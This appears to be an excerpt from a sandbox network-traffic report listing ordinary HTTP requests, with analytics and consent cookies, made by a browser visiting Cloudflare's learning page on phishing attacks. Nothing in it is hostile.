OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _ga_SQCRB0TXZW=GS1.1.1729259323.1.0.1729259323.60.0.0; _ga=GA1.1.577951860.1729259323; _biz_nA=
Source: global traffic	HTTP traffic detected: GET /static/z/t HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _ga_SQCRB0TXZW=GS1.1.1729259323.1.0.1729259323.60.0.0; _ga=GA1.1.577951860.1729259323; _biz_nA=6; _uetvid=9e9265008d5711ef86d8793cb6a7df8c\|t02tdh\|1729259324234\|4\|1\|bat.bing.com/p/insights/c/u; _biz_pendingA=%5B%5D; mbox=session#59028572615554561702300982760543860491-cAgcPi#1729261189; s_sq=cloudflareinc
Source: global traffic	HTTP traffic detected: GET /g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=1061960782 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=1206061465 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/v1/marketo/form/1639 HTTP/1.1Host: api.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=1132107837 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/57ABXXM79uTTFbsc925v8O/4b2b331f5a1475d45705d9c5fc61b85c/price.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _ga_SQCRB0TXZW=GS1.1.1729259323.1.0.1729259323.60.0.0; _ga=GA1.1.577951860.1729259323; _biz_nA=6; _biz_pendingA=%5B%5D; mbox=session#59028572615554561702300982760543860491-cAgcPi#1729261189; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%2
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/3uFblkuIoaQq9IXfbLMOyj/b893f6e726771d2b409acf1338eff652/internet-browser.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _ga_SQCRB0TXZW=GS1.1.1729259323.1.0.1729259323.60.0.0; _ga=GA1.1.577951860.1729259323; _biz_nA=6; _biz_pendingA=%5B%5D; mbox=session#59028572615554561702300982760543860491-cAgcPi#1729261189; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/SAs3NRmywD4ydBAsj8z6L/8ecedebe7d84f1abe074fee24bc9bf6b/info.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _ga_SQCRB0TXZW=GS1.1.1729259323.1.0.1729259323.60.0.0; _ga=GA1.1.577951860.1729259323; _biz_nA=6; _biz_pendingA=%5B%5D; mbox=session#59028572615554561702300982760543860491-cAgcPi#1729261189; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%252
Source: global traffic	HTTP traffic detected: GET /api/v1/marketo/form/1639 HTTP/1.1Host: api.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; _ga_SQCRB0TXZW=GS1.1.1729259323.1.0.1729259323.60.0.0; _ga=GA1.1.577951860.1729259323; _biz_nA=6; _biz_pendingA=%5B%5D; mbox=session#59028572615554561702300982760543860491-cAgcPi#1729261189; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=a14a8d75-8eea-4524-acdd-c75164b83b60 HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=1515350825 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
